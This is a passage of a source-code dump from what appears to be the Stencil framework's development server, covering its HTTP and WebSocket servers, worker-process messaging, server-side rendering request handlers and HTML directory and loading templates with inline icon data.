};\n\n  return serverCtx;\n}\n\nexport interface CompilerRequestResolve {\n  path: string;\n  resolve: (results: d.CompilerRequestResponse) => void;\n  reject: (msg: any) => void;\n}\n\nexport interface BuildRequestResolve {\n  resolve: (results: d.CompilerBuildResults) => void;\n  reject: (msg: any) => void;\n}\n"
  },
  {
    "path": "src/dev-server/server-http.ts",
    "content": "import * as http from 'http';\nimport * as https from 'https';\nimport * as net from 'net';\n\nimport type * as d from '../declarations';\nimport { createRequestHandler } from './request-handler';\n\nexport function createHttpServer(devServerConfig: d.DevServerConfig, serverCtx: d.DevServerContext) {\n  // create our request handler\n  const reqHandler = createRequestHandler(devServerConfig, serverCtx);\n\n  const credentials = devServerConfig.https;\n\n  return credentials ? https.createServer(credentials, reqHandler) : http.createServer(reqHandler);\n}\n\nexport async function findClosestOpenPort(host: string, port: number, strictPort = false): Promise<number> {\n  const isTaken = await isPortTaken(host, port);\n\n  if (!isTaken) {\n    return port;\n  }\n\n  if (strictPort) {\n    throw new Error(`Port ${port} is already in use. Please specify a different port or set strictPort to false.`);\n  }\n\n  // If strictPort is false, recursively find the next available port\n  async function t(portToCheck: number): Promise<number> {\n    const isTaken = await isPortTaken(host, portToCheck);\n    if (!isTaken) {\n      return portToCheck;\n    }\n    return t(portToCheck + 1);\n  }\n\n  return t(port + 1);\n}\n\nfunction isPortTaken(host: string, port: number): Promise<boolean> {\n  return new Promise((resolve, reject) => {\n    const tester = net\n      .createServer()\n      .once('error', () => {\n        resolve(true);\n      })\n      .once('listening', () => {\n        tester\n          .once('close', () => {\n            resolve(false);\n          })\n          .close();\n      })\n      .on('error', (err: any) => {\n        reject(err);\n      })\n      .listen(port, host);\n  });\n}\n"
  },
  {
    "path": "src/dev-server/server-process.ts",
    "content": "import { createNodeSys } from '@sys-api-node';\nimport { normalizePath } from '@utils';\nimport type { Server } from 'http';\n\nimport type * as d from '../declarations';\nimport { DEV_SERVER_INIT_URL } from './dev-server-constants';\nimport { getBrowserUrl } from './dev-server-utils';\nimport { openInBrowser } from './open-in-browser';\nimport { BuildRequestResolve, CompilerRequestResolve, createServerContext } from './server-context';\nimport { createHttpServer, findClosestOpenPort } from './server-http';\nimport { createWebSocket, DevWebSocket } from './server-web-socket';\n\nexport function initServerProcess(sendMsg: d.DevServerSendMessage) {\n  let server: Server = null;\n  let webSocket: DevWebSocket = null;\n  let serverCtx: d.DevServerContext = null;\n\n  const buildResultsResolves: BuildRequestResolve[] = [];\n  const compilerRequestResolves: CompilerRequestResolve[] = [];\n\n  const startServer = async (msg: d.DevServerMessage) => {\n    const devServerConfig = msg.startServer;\n    devServerConfig.port = await findClosestOpenPort(\n      devServerConfig.address,\n      devServerConfig.port,\n      devServerConfig.strictPort,\n    );\n    devServerConfig.browserUrl = getBrowserUrl(\n      devServerConfig.protocol,\n      devServerConfig.address,\n      devServerConfig.port,\n      devServerConfig.basePath,\n      '/',\n    );\n    devServerConfig.root = normalizePath(devServerConfig.root);\n\n    const sys = createNodeSys({ process });\n    serverCtx = createServerContext(sys, sendMsg, devServerConfig, buildResultsResolves, compilerRequestResolves);\n    server = createHttpServer(devServerConfig, serverCtx);\n\n    webSocket = devServerConfig.websocket ? createWebSocket(server, sendMsg) : null;\n\n    server.listen(devServerConfig.port, devServerConfig.address);\n    serverCtx.isServerListening = true;\n\n    if (devServerConfig.openBrowser) {\n      const initialLoadUrl = getBrowserUrl(\n        devServerConfig.protocol,\n        devServerConfig.address,\n        devServerConfig.port,\n        devServerConfig.basePath,\n        devServerConfig.initialLoadUrl || DEV_SERVER_INIT_URL,\n      );\n      openInBrowser({ url: initialLoadUrl });\n    }\n\n    sendMsg({ serverStarted: devServerConfig });\n  };\n\n  const closeServer = () => {\n    const promises: Promise<any>[] = [];\n\n    buildResultsResolves.forEach((r) => r.reject('dev server closed'));\n    buildResultsResolves.length = 0;\n\n    compilerRequestResolves.forEach((r) => r.reject('dev server closed'));\n    compilerRequestResolves.length = 0;\n\n    if (serverCtx) {\n      if (serverCtx.sys) {\n        promises.push(serverCtx.sys.destroy());\n      }\n    }\n    if (webSocket) {\n      promises.push(webSocket.close());\n      webSocket = null;\n    }\n    if (server) {\n      promises.push(\n        new Promise<void>((resolve) => {\n          server.close((err) => {\n            if (err) {\n              console.error(`close error: ${err}`);\n            }\n            resolve();\n          });\n        }),\n      );\n    }\n    Promise.all(promises).finally(() => {\n      sendMsg({\n        serverClosed: true,\n      });\n    });\n  };\n\n  const receiveMessageFromMain = (msg: d.DevServerMessage) => {\n    // the server process received a message from main thread\n    try {\n      if (msg) {\n        if (msg.startServer) {\n          startServer(msg);\n        } else if (msg.closeServer) {\n          closeServer();\n        } else if (msg.compilerRequestResults) {\n          for (let i = compilerRequestResolves.length - 1; i >= 0; i--) {\n            const r = compilerRequestResolves[i];\n            if (r.path === msg.compilerRequestResults.path) {\n              r.resolve(msg.compilerRequestResults);\n              compilerRequestResolves.splice(i, 1);\n            }\n          }\n        } else if (serverCtx) {\n          if (msg.buildResults && !msg.isActivelyBuilding) {\n            buildResultsResolves.forEach((r) => r.resolve(msg.buildResults));\n            buildResultsResolves.length = 0;\n          }\n          if (webSocket) {\n            webSocket.sendToBrowser(msg);\n          }\n        }\n      }\n    } catch (e) {\n      let stack: string | null = null;\n      if (e instanceof Error) {\n        stack = e.stack;\n      }\n      sendMsg({\n        error: { message: e + '', stack },\n      });\n    }\n  };\n\n  return receiveMessageFromMain;\n}\n"
  },
  {
    "path": "src/dev-server/server-web-socket.ts",
    "content": "import { noop } from '@utils';\nimport type { Server } from 'http';\nimport WebSocket, { type ServerOptions, WebSocketServer } from 'ws';\n\nimport type * as d from '../declarations';\n\nexport function createWebSocket(\n  httpServer: Server,\n  onMessageFromClient: (msg: d.DevServerMessage) => void,\n): DevWebSocket {\n  const wsConfig: ServerOptions = {\n    server: httpServer,\n  };\n\n  const wsServer = new WebSocketServer(wsConfig);\n\n  function heartbeat(this: WebSocket) {\n    // we need to coerce the `ws` type to our custom `DevWS` type here, since\n    // this function is going to be passed in to `ws.on('pong'` which expects\n    // to be passed a function where `this` is bound to `ws`.\n    (this as DevWS).isAlive = true;\n  }\n\n  wsServer.on('connection', (ws: DevWS) => {\n    ws.on('message', (data) => {\n      // the server process has received a message from the browser\n      // pass the message received from the browser to the main cli process\n      try {\n        onMessageFromClient(JSON.parse(data.toString()));\n      } catch (e) {\n        console.error(e);\n      }\n    });\n\n    ws.isAlive = true;\n\n    ws.on('pong', heartbeat);\n\n    // ignore invalid close frames sent by Safari 15\n    ws.on('error', console.error);\n  });\n\n  const pingInterval = setInterval(() => {\n    (wsServer.clients as Set<DevWS>).forEach((ws: DevWS) => {\n      if (!ws.isAlive) {\n        return ws.close(1000);\n      }\n      ws.isAlive = false;\n      ws.ping(noop);\n    });\n  }, 10000);\n\n  return {\n    sendToBrowser: (msg: d.DevServerMessage) => {\n      if (msg && wsServer && wsServer.clients) {\n        const data = JSON.stringify(msg);\n        wsServer.clients.forEach((ws) => {\n          if (ws.readyState === ws.OPEN) {\n            ws.send(data);\n          }\n        });\n      }\n    },\n    close: () => {\n      return new Promise((resolve, reject) => {\n        clearInterval(pingInterval);\n        wsServer.clients.forEach((ws) => {\n          ws.close(1000);\n        });\n        wsServer.close((err) => {\n          if (err) {\n            reject(err);\n          } else {\n            resolve();\n          }\n        });\n      });\n    },\n  };\n}\n\nexport interface DevWebSocket {\n  sendToBrowser: (msg: d.DevServerMessage) => void;\n  close: () => Promise<void>;\n}\n\ninterface DevWS extends WebSocket {\n  isAlive: boolean;\n}\n"
  },
  {
    "path": "src/dev-server/server-worker-main.ts",
    "content": "import { fork } from 'child_process';\nimport path from 'path';\n\nimport type * as d from '../declarations';\n\nexport function initServerProcessWorkerProxy(sendToMain: (msg: d.DevServerMessage) => void) {\n  const workerPath = require.resolve(path.join(__dirname, 'server-worker-thread.js'));\n\n  const filteredExecArgs = process.execArgv.filter((v) => !/^--(debug|inspect)/.test(v));\n\n  const forkOpts: any = {\n    execArgv: filteredExecArgs,\n    env: process.env,\n    cwd: process.cwd(),\n    stdio: ['pipe', 'pipe', 'pipe', 'ipc'],\n  };\n\n  // start a new child process of the CLI process\n  // for the http and web socket server\n  let serverProcess = fork(workerPath, [], forkOpts);\n\n  const receiveFromMain = (msg: d.DevServerMessage) => {\n    // get a message from main to send to the worker\n    if (serverProcess) {\n      serverProcess.send(msg);\n    } else if (msg.closeServer) {\n      sendToMain({ serverClosed: true });\n    }\n  };\n\n  // get a message from the worker and send it to main\n  serverProcess.on('message', (msg: d.DevServerMessage) => {\n    if (msg.serverClosed && serverProcess) {\n      serverProcess.kill('SIGINT');\n      serverProcess = null;\n    }\n    sendToMain(msg);\n  });\n\n  serverProcess.stdout.on('data', (data: any) => {\n    // the child server process has console logged data\n    console.log(`dev server: ${data}`);\n  });\n\n  serverProcess.stderr.on('data', (data: any) => {\n    // the child server process has console logged an error\n    sendToMain({ error: { message: 'stderr: ' + data } });\n  });\n\n  return receiveFromMain;\n}\n"
  },
  {
    "path": "src/dev-server/server-worker-thread.js",
    "content": "const { initServerProcess } = require('./server-process.js');\nlet closeTmr = null;\n\nconst sendHandle = (err) => {\n  if (err && err.code === 'ERR_IPC_CHANNEL_CLOSED') {\n    process.exit(0);\n  }\n};\n\nconst receiveMessageFromMain = initServerProcess((msg) => {\n  // send message from worker going to main\n  process.send(msg, sendHandle);\n\n  if (msg.serverClosed) {\n    clearTimeout(closeTmr);\n    process.exit(0);\n  }\n});\n\nprocess.on('message', (msg) => {\n  // receive a message from the main going to worker\n  if (msg && msg.closeServer) {\n    closeTmr = setTimeout(() => {\n      // force exiting if we timeout\n      process.exit(0);\n    }, 5000);\n  }\n\n  receiveMessageFromMain(msg);\n});\n\nprocess.on('unhandledRejection', (e) => {\n  process.send(\n    {\n      error: { message: 'unhandledRejection: ' + e, stack: typeof e.stack === 'string' ? e.stack : null },\n    },\n    sendHandle,\n  );\n});\n"
  },
  {
    "path": "src/dev-server/ssr-request.ts",
    "content": "import { catchError, isFunction, isString } from '@utils';\nimport type { ServerResponse } from 'http';\nimport path from 'path';\n\nimport type * as d from '../declarations';\nimport { getSsrStaticDataPath, responseHeaders } from './dev-server-utils';\nimport { appendDevServerClientScript } from './serve-file';\n\nexport async function ssrPageRequest(\n  devServerConfig: d.DevServerConfig,\n  serverCtx: d.DevServerContext,\n  req: d.HttpRequest,\n  res: ServerResponse,\n) {\n  try {\n    let status = 500;\n    let content = '';\n\n    const { hydrateApp, srcIndexHtml, diagnostics } = await setupHydrateApp(devServerConfig, serverCtx);\n\n    if (!diagnostics.some((diagnostic) => diagnostic.level === 'error')) {\n      try {\n        const opts = getSsrHydrateOptions(devServerConfig, serverCtx, req.url);\n\n        const ssrResults = await hydrateApp.renderToString(srcIndexHtml, opts);\n\n        diagnostics.push(...ssrResults.diagnostics);\n        status = ssrResults.httpStatus;\n        content = ssrResults.html;\n      } catch (e: any) {\n        catchError(diagnostics, e);\n      }\n    }\n\n    if (diagnostics.some((diagnostic) => diagnostic.level === 'error')) {\n      content = getSsrErrorContent(diagnostics);\n      status = 500;\n    }\n\n    if (devServerConfig.websocket) {\n      content = appendDevServerClientScript(devServerConfig, req, content);\n    }\n\n    serverCtx.logRequest(req, status);\n\n    res.writeHead(\n      status,\n      responseHeaders({\n        'content-type': 'text/html; charset=utf-8',\n        'content-length': Buffer.byteLength(content, 'utf8'),\n      }),\n    );\n    res.write(content);\n    res.end();\n  } catch (e) {\n    serverCtx.serve500(req, res, e, `ssrPageRequest`);\n  }\n}\n\nexport async function ssrStaticDataRequest(\n  devServerConfig: d.DevServerConfig,\n  serverCtx: d.DevServerContext,\n  req: d.HttpRequest,\n  res: ServerResponse,\n) {\n  try {\n    const data: any = {};\n    let httpCache = false;\n\n    const { hydrateApp, srcIndexHtml, diagnostics } = await setupHydrateApp(devServerConfig, serverCtx);\n\n    if (!diagnostics.some((diagnostic) => diagnostic.level === 'error')) {\n      try {\n        const { ssrPath, hasQueryString } = getSsrStaticDataPath(req);\n        const url = new URL(ssrPath, req.url);\n\n        const opts = getSsrHydrateOptions(devServerConfig, serverCtx, url);\n\n        const ssrResults = await hydrateApp.renderToString(srcIndexHtml, opts);\n\n        diagnostics.push(...ssrResults.diagnostics);\n\n        ssrResults.staticData.forEach((s) => {\n          if (s.type === 'application/json') {\n            data[s.id] = JSON.parse(s.content);\n          } else {\n            data[s.id] = s.content;\n          }\n        });\n        data.components = ssrResults.components.map((c) => c.tag).sort();\n        httpCache = hasQueryString;\n      } catch (e: any) {\n        catchError(diagnostics, e);\n      }\n    }\n\n    if (diagnostics.length > 0) {\n      data.diagnostics = diagnostics;\n    }\n\n    const status = diagnostics.some((diagnostic) => diagnostic.level === 'error') ? 500 : 200;\n    const content = JSON.stringify(data);\n    serverCtx.logRequest(req, status);\n\n    res.writeHead(\n      status,\n      responseHeaders(\n        {\n          'content-type': 'application/json; charset=utf-8',\n          'content-length': Buffer.byteLength(content, 'utf8'),\n        },\n        httpCache && status === 200,\n      ),\n    );\n    res.write(content);\n    res.end();\n  } catch (e) {\n    serverCtx.serve500(req, res, e, `ssrStaticDataRequest`);\n  }\n}\n\nasync function setupHydrateApp(devServerConfig: d.DevServerConfig, serverCtx: d.DevServerContext) {\n  let srcIndexHtml: string = null;\n  let hydrateApp: HydrateApp = null;\n\n  const buildResults = await serverCtx.getBuildResults();\n  const diagnostics: d.Diagnostic[] = [];\n\n  if (serverCtx.prerenderConfig == null && isString(devServerConfig.prerenderConfig)) {\n    const compilerPath = path.join(devServerConfig.devServerDir, '..', 'compiler', 'stencil.js');\n    const compiler: typeof import('@stencil/core/compiler') = require(compilerPath);\n    const prerenderConfigResults = compiler.nodeRequire(devServerConfig.prerenderConfig);\n    diagnostics.push(...prerenderConfigResults.diagnostics);\n    if (prerenderConfigResults.module && prerenderConfigResults.module.config) {\n      serverCtx.prerenderConfig = prerenderConfigResults.module.config;\n    }\n  }\n\n  if (!isString(buildResults.hydrateAppFilePath)) {\n    diagnostics.push({ messageText: `Missing hydrateAppFilePath`, level: `error`, type: `ssr`, lines: [] });\n  } else if (!isString(devServerConfig.srcIndexHtml)) {\n    diagnostics.push({ messageText: `Missing srcIndexHtml`, level: `error`, type: `ssr`, lines: [] });\n  } else {\n    srcIndexHtml = await serverCtx.sys.readFile(devServerConfig.srcIndexHtml);\n    if (!isString(srcIndexHtml)) {\n      diagnostics.push({\n        level: `error`,\n        lines: [],\n        messageText: `Unable to load src index html: ${devServerConfig.srcIndexHtml}`,\n        type: `ssr`,\n      });\n    } else {\n      // ensure we cleared out node's internal require() cache for this file\n      const hydrateAppFilePath = path.resolve(buildResults.hydrateAppFilePath);\n\n      // brute force way of clearing node's module cache\n      // not using `delete require.cache[id]` since it'll cause memory leaks\n      require.cache = {};\n      const Module = require('module');\n      Module._cache[hydrateAppFilePath] = undefined;\n\n      hydrateApp = require(hydrateAppFilePath);\n    }\n  }\n\n  return {\n    hydrateApp,\n    srcIndexHtml,\n    diagnostics,\n  };\n}\n\nfunction getSsrHydrateOptions(devServerConfig: d.DevServerConfig, serverCtx: d.DevServerContext, url: URL) {\n  const opts: d.PrerenderHydrateOptions = {\n    url: url.href,\n    addModulePreloads: false,\n    approximateLineWidth: 120,\n    inlineExternalStyleSheets: false,\n    minifyScriptElements: false,\n    minifyStyleElements: false,\n    removeAttributeQuotes: false,\n    removeBooleanAttributeQuotes: false,\n    removeEmptyAttributes: false,\n    removeHtmlComments: false,\n    prettyHtml: true,\n  };\n\n  const prerenderConfig = serverCtx?.prerenderConfig;\n\n  if (isFunction(prerenderConfig?.hydrateOptions)) {\n    const userOpts = prerenderConfig.hydrateOptions(url);\n    if (userOpts) {\n      Object.assign(opts, userOpts);\n    }\n  }\n\n  if (isFunction(serverCtx.sys.applyPrerenderGlobalPatch)) {\n    const orgBeforeHydrate = opts.beforeHydrate;\n    opts.beforeHydrate = (document: Document) => {\n      // patch this new window with the fetch global from node-fetch\n      const devServerBaseUrl = new URL(devServerConfig.browserUrl);\n      const devServerHostUrl = devServerBaseUrl.origin;\n      serverCtx.sys.applyPrerenderGlobalPatch({\n        devServerHostUrl: devServerHostUrl,\n        window: document.defaultView,\n      });\n\n      if (typeof orgBeforeHydrate === 'function') {\n        return orgBeforeHydrate(document);\n      }\n    };\n  }\n\n  return opts;\n}\n\nfunction getSsrErrorContent(diagnostics: d.Diagnostic[]) {\n  return `<!doctype html>\n<html>\n<head>\n  <title>SSR Error</title>\n  <style>\n    body {\n      font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;\n    }\n  </style>\n</head>\n<body>\n  <h1>SSR Dev Error</h1>\n  ${diagnostics.map(\n    (diagnostic) => `\n  <p>\n    ${diagnostic.messageText}\n  </p>\n  `,\n  )}\n</body>\n</html>`;\n}\n\ntype HydrateApp = {\n  renderToString: (html: string, options: d.SerializeDocumentOptions) => Promise<d.HydrateResults>;\n};\n"
  },
  {
    "path": "src/dev-server/templates/directory-index.html",
    "content": "<!doctype html>\n<html dir=\"ltr\" lang=\"en\">\n  <head data-tmpl=\"tmpl-dir\">\n    <meta charset=\"utf-8\">\n    <title>{{title}}</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\">\n    <style>\n      * {\n        box-sizing: border-box;\n      }\n      html {\n        color-scheme: light dark;\n      }\n      body {\n        padding: 40px 140px;\n        margin: 0;\n        font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Helvetica, Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n        font-size: 14px;\n        background: #f9f8f8;\n      }\n      h1 {\n        margin-bottom: 15px;\n        font-size: 18px;\n        color: #343434;\n      }\n      h1 span {\n        padding: 0 6px;\n        font-weight: normal;\n        color: #9e9b9b;\n      }\n      a {\n        color: #555;\n        text-decoration: none;\n      }\n      a:hover {\n        color: #303030;\n      }\n      ul {\n        margin: 0;\n        padding: 0;\n      }\n      li {\n        list-style: none;\n        margin: 0;\n        padding: 0;\n      }\n      li a {\n        display: flex;\n        align-items: center;\n        gap: 6px;\n        margin: 0;\n        padding: 6px 12px;\n        min-width: 50%;\n        border-radius: 4px;\n        overflow: hidden;\n        white-space: nowrap;\n      }\n      li a:focus,\n      li a:hover {\n        color: #555;\n        background: rgba(221, 235, 255, 0.65);\n      }\n      .icon {\n        display: inline-block;\n        width: 14px;\n        min-height: 14px;\n        opacity: 0.6;\n        mask-repeat: no-repeat;\n        -webkit-mask-repeat: no-repeat;\n      }\n      .directory .icon {\n        mask-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1MTIgNTEyIj48cGF0aCBkPSJNMjEzLjMzOCA5Nkg3NC42NjZDNTEuMTk3IDk2IDMyIDExNS4xOTggMzIgMTM4LjY2N3YyMzQuNjY2QzMyIDM5Ni44MDIgNTEuMTk3IDQxNiA3NC42NjYgNDE2aDM2Mi42NjhDNDYwLjgwMyA0MTYgNDgwIDM5Ni44MDIgNDgwIDM3My4zMzNWMTg2LjY2N0M0ODAgMTYzLjE5OCA0NjAuODAzIDE0NCA0MzcuMzM0IDE0NEgyNTYuMDA2bC00Mi42NjgtNDh6Ii8+PC9zdmc+);\n        -webkit-mask-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1MTIgNTEyIj48cGF0aCBkPSJNMjEzLjMzOCA5Nkg3NC42NjZDNTEuMTk3IDk2IDMyIDExNS4xOTggMzIgMTM4LjY2N3YyMzQuNjY2QzMyIDM5Ni44MDIgNTEuMTk3IDQxNiA3NC42NjYgNDE2aDM2Mi42NjhDNDYwLjgwMyA0MTYgNDgwIDM5Ni44MDIgNDgwIDM3My4zMzNWMTg2LjY2N0M0ODAgMTYzLjE5OCA0NjAuODAzIDE0NCA0MzcuMzM0IDE0NEgyNTYuMDA2bC00Mi42NjgtNDh6Ii8+PC9zdmc+);\n        background-position: 0px 2px;\n        background-color: currentColor;\n      }\n      .file .icon {\n        mask-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1MTIgNTEyIj48cGF0aCBkPSJNMjg4IDQ4SDEzNmMtMjIuMDkyIDAtNDAgMTcuOTA4LTQwIDQwdjMzNmMwIDIyLjA5MiAxNy45MDggNDAgNDAgNDBoMjQwYzIyLjA5MiAwIDQwLTE3LjkwOCA0MC00MFYxNzZMMjg4IDQ4em0tMTYgMTQ0VjgwbDExMiAxMTJIMjcyeiIvPjwvc3ZnPg==);\n        -webkit-mask-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1MTIgNTEyIj48cGF0aCBkPSJNMjg4IDQ4SDEzNmMtMjIuMDkyIDAtNDAgMTcuOTA4LTQwIDQwdjMzNmMwIDIyLjA5MiAxNy45MDggNDAgNDAgNDBoMjQwYzIyLjA5MiAwIDQwLTE3LjkwOCA0MC00MFYxNzZMMjg4IDQ4em0tMTYgMTQ0VjgwbDExMiAxMTJIMjcyeiIvPjwvc3ZnPg==);\n        background-position: 0px 2px;\n        background-color: currentColor;\n      }\n      li a:hover .icon {\n        opacity: 1;\n      }\n\n      @media (max-width: 768px) {\n        body {\n          font-size: 13px;\n          line-height: 16px;\n          padding: 0;\n        }\n        h1 {\n          font-size: 2em;\n          line-height: 1.5em;\n          color: #fff;\n          background: #000;\n          padding: 15px 10px;\n          margin: 0;\n        }\n        h1 a {\n          color: #9e9e9e;\n        }\n        h1 a:hover {\n          color: #eaeaea;\n        }\n        ul {\n          border-top: 1px solid #cacaca;\n        }\n        li {\n          display: block;\n          border-bottom: 1px solid #cacaca;\n          font-size: 2em;\n          line-height: 1.2em;\n        }\n        li:nth-child(odd) {\n          background: #e0e0e0;\n        }\n        li a {\n          display: flex;\n          border-radius: 0;\n          padding: 15px 10px;\n        }\n        .icon {\n          width: 24px;\n          min-width: 24px;\n          min-height: 24px;\n        }\n        .directory .icon {\n          background-position: 0px 4px;\n        }\n      }\n\n      @media (prefers-color-scheme: dark) { \n        body {\n          background: #000;\n        }\n        h1 {\n          color: #eaeaea;\n        }\n        a {\n          color: #ccc;\n        }\n        a:hover {\n          color: #eaeaea;\n        }\n        li a:focus,\n        li a:hover {\n          color: #ccc;\n          background: #1c1c1c;\n        }\n      }\n\n      @media (max-width: 768px) and (prefers-color-scheme: dark) {\n        ul {\n          border-top: 1px solid #333;\n        }\n        li {\n          border-bottom: 1px solid #333;\n        }\n        li:nth-child(odd) {\n          background: #333;\n        }\n      }\n    </style>\n    <link rel=\"shortcut icon\" type=\"image/png\" href=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAB2AAAAdgB+lymcgAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFGSURBVHic7dm9TcNQFMXxPzRpaZGYAEIqZkERkzAFSwARSyCGgA2QAqGhTZqYIrJkzEP4GfueyD4/6TavuufEH1IMZmZmZmZm382ABfAOFB3MJzANTfAPV8CGboJX5xU4CczRyox+wpfzDByFpWlhQX/hy3kCJlGBcnV1z/81D8BhUKYsW2IKKICboExZosJHzBtwT+bbR710H7MG5qmwB78UMEQb4AJ4qR7u5UOoJxPgun44pisAdm+44+rB2AooqF31Y7oFIPGDj62AH1yAegE1F6BeQM0FqBdQcwHqBdRcgHoBNRegXkDNBagXUHMB6gXUXIB6ATUXoF5ALVXAkP8W39YPUgV8BCyisqofpAp4DFhEpVG2c3ZfU9VfdPv4QnzWtKn5wEpYA5dNw5emwB2w3IMAbWcJ3AKnueHNzMzMzGzYvgAGC6SjvNl9rAAAAABJRU5ErkJggg==\">\n  </head>\n  <body>\n    <main>\n      <h1>{{nav}}</h1>\n      <ul>{{files}}\n      </ul>\n    </main>\n  </body>\n</html>\n"
  },
  {
    "path": "src/dev-server/templates/initial-load.html",
    "content": "<!doctype html>\n<html dir=\"ltr\" lang=\"en\">\n<head data-tmpl=\"tmpl-initial-load\">\n  <meta charset=\"utf-8\">\n  <script>\n    if ('serviceWorker' in navigator) {\n      navigator.serviceWorker.getRegistration().then(function(registration) {\n        if (registration) {\n          registration.unregister().then(function(hasUnregistered) {\n            if (hasUnregistered) {\n              console.log('unregistered service worker');\n            }\n          });\n        }\n      }).catch(function(err) {\n        console.error(err.message || err);\n      });\n    }\n  </script>\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n  <meta http-equiv=\"x-ua-compatible\" content=\"IE=Edge\">\n  <title>Initializing First Build...</title>\n  <link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMAAAADACAMAAABlApw1AAAAjVBMVEUAAAD8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjL8kjLn7xn3AAAALnRSTlMAsFBgAaDxfPpAdTMcD/fs47kDBhVXJQpvLNbInIiBRvSqIb+TZ2OOONxdzUxpgKSpAAAAA69JREFUeNrt3FtvskAQxvERFQXFioqnCkqth572+3+8947dN00TliF5ZpP53ZOAveg/OzCklFJKKaWUUkoppQTZm77cCGFo+jIhhG/TlwchJAvTk/GIAA6x6Um+JoDti+nJ644A5h+mJ8eMALKj6cnHnAB2r80NLJ4jf3Vz+cuWANZ5cwPTM/l7by6PZwQwGptGQf4q++dLCOHdNIbkb2IvjwjAvYEf8pe6j4/wYxopr/9SQih4BXa3l5eEcJ7a++c9/gkSQE8bcCWvXwcrAjjYADrxHv8KCbi3JasgD5fm8i9IAG1swMXzDv0X2wDaEED21dzA5UDeVoPm8uUbAayvvAI42YA7EIDzA5pv8lc6/UoAoxMv4CZuvyKUpnHn9VNBAG6B7XkBtCeEO6/AbvbyihAiXsB92svfCcA9wap4j19DAmgWs37AZCrnBKvu8vgX9AmWE3BZh/6L7QkWJIA2RxtwHQpml9sAQp9gXWbkbxz4CdYDfIK1qk1j3IV9fPgJFlNECJXhYfSfsBHkhBCKwEd452nYI7wncwQJP8GKTU+uO0I4D/uSkVJKqXAkA5nK9icoIi3nrU9QRHrZtj5BESmetT5BEantPCh7NTJFrUdgMg1bj8BkSv1HYJ8RmjMQKf1HYDdC+/R/IyQFzbD4AxH+CIyPPxCJoEdQ/IFIMgXNEPkDkd8jMLQs5wRcTXA1J+By/BGO+0ovYwQGU3kPRLJfIzCkCSfgpgmhpc5AxD/gIkLb8wKO0DTgoNyaGQQecNfQAy7TgGtHA04DLtyA24UecHngAVdrwIkJuAitU8DJ1Dbghkam9gEnU+uAWxiRjhsdoXagI1TPgKNyIBO+ZpRSSrW3HfblTAA9/juPDwTAfiMK9VG3PY/hwX7Ubc9j+AoCWNWGp+NSH4HflE2IgXUEGPI3TTfmN4ndv2kSsRUJvpUn4W1FShbYb5rc84ySAtzKs3W3IgW4lWfO24q0zsFbebIjaysSjbtt5RHzUf0DHHCrAW8gVYEDzl0LGYW4lefB24uYQgOOfwN7dMANeW/k3DkBJ2CrUNE54GRsFYIHnPNR+iPEgHPWKo5DDDhnrWKeBRhwzlrFeNtlq5CgtYqzAAPODaBzgAH331rFAAOOqsDXKjL3IqboN7ILJ4BCDDh3r3SIAfd0AijEgHP3So/8wQNuvjRBbxVij5A6Bpy8EZJnwIkbIfkFnLwRkm/ASRshXbwDTtYICRRwt7BHqEoppZRSSimllFLqD/8AOXJZHefotiIAAAAASUVORK5CYII=\">\n  <style>\n    * {\n      box-sizing: border-box;\n    }\n    html {\n      color-scheme: dark light;\n    }\n    body {\n      position: absolute;\n      padding: 0;\n      margin: 0;\n      width: 100%;\n      height: 100%;\n      font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Helvetica, Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n    }\n    .toast {\n      position: absolute;\n      top: 12px;\n      right: 10px;\n      left: 10px;\n      margin: auto;\n      max-width: 700px;\n      border-radius: 3px;\n      background: rgba(0, 0, 0, .9);\n      -webkit-transform: translate3d(0px, -60px, 0px);\n      transform: translate3d(0px, -60px, 0px);\n      -webkit-transition: -webkit-transform 75ms ease-out;\n      transition: transform 75ms ease-out;\n      pointer-events: none;\n    }\n    .active {\n      -webkit-transform: translate3d(0px, 0px, 0px);\n      transform: translate3d(0px, 0px, 0px);\n    }\n    .content {\n      display: flex;\n      -webkit-align-items: center;\n      -ms-flex-align: center;\n      align-items: center;\n      pointer-events: auto;\n    }\n    .message {\n      -webkit-flex: 1;\n      -ms-flex: 1;\n      flex: 1;\n      padding: 15px;\n      font-size: 14px;\n      color: #fff;\n    }\n    .spinner {\n      position: relative;\n      display: inline-block;\n      width: 56px;\n      height: 28px;\n    }\n    svg:not(:root) {\n      overflow: hidden;\n    }\n    svg {\n      position: absolute;\n      top: 0;\n      left: 0;\n      width: 100%;\n      height: 100%;\n      -webkit-transform: translateZ(0);\n      transform: translateZ(0);\n 